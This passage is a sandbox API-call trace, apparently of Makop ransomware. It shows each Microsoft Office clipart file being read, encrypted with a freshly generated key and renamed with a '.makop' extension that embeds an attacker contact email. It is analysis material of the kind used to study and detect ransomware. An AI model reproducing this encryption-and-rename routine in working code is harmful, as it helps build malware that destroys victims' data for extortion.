dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.909] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.909] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.909] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x84b7, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x84b7, lpOverlapped=0x0) returned 1 [0117.911] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84c0, dwBufLen=0x84c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84c0) returned 1 [0117.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x84c0, lpOverlapped=0x0) returned 1 [0117.912] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.912] SetEndOfFile (hFile=0xf0) returned 1 [0117.920] GetProcessHeap () returned 0x48a0000 [0117.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.920] GetProcessHeap () returned 0x48a0000 [0117.920] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.920] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.922] CloseHandle (hObject=0xf0) returned 1 [0117.923] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0117.923] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0117.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.925] GetProcessHeap () returned 0x48a0000 [0117.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.925] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0117.929] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.929] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.929] GetProcessHeap () returned 0x48a0000 [0117.929] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.929] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.929] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.929] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.929] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.930] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.930] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.930] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.930] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.930] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x409f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x409f, lpOverlapped=0x0) returned 1 [0117.932] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40a0, dwBufLen=0x40a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40a0) returned 1 [0117.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.932] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40a0, lpOverlapped=0x0) returned 1 [0117.932] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.932] SetEndOfFile (hFile=0xf0) returned 1 [0117.940] GetProcessHeap () returned 0x48a0000 [0117.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.940] GetProcessHeap () returned 0x48a0000 [0117.940] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.940] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.941] CloseHandle (hObject=0xf0) returned 1 [0117.942] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0117.942] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63 [0117.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.942] GetProcessHeap () returned 0x48a0000 [0117.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.943] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0117.947] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.947] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.947] GetProcessHeap () returned 0x48a0000 [0117.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.947] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.948] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.948] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.949] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc8c9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc8c9, lpOverlapped=0x0) returned 1 [0117.951] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc8d0, dwBufLen=0xc8d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc8d0) returned 1 [0117.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.952] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc8d0, lpOverlapped=0x0) returned 1 [0117.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.952] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.953] SetEndOfFile (hFile=0xf0) returned 1 [0117.959] GetProcessHeap () returned 0x48a0000 [0117.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.959] GetProcessHeap () returned 0x48a0000 [0117.959] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.959] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.960] CloseHandle (hObject=0xf0) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0117.960] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0117.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.961] GetProcessHeap () returned 0x48a0000 [0117.961] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.961] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0117.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.966] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.966] GetProcessHeap () returned 0x48a0000 [0117.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.966] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.966] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.966] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.966] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.967] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.967] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1367, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1367, lpOverlapped=0x0) returned 1 [0117.969] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1370) returned 1 [0117.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.969] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1370, lpOverlapped=0x0) returned 1 [0117.969] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.969] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.969] SetEndOfFile (hFile=0xf0) returned 1 [0117.977] GetProcessHeap () returned 0x48a0000 [0117.977] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.977] GetProcessHeap () returned 0x48a0000 [0117.977] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.977] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.978] CloseHandle (hObject=0xf0) returned 1 [0117.979] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0117.979] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0117.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.979] GetProcessHeap () returned 0x48a0000 [0117.979] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.979] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.980] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.980] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.980] GetProcessHeap () returned 0x48a0000 [0117.980] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.980] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, 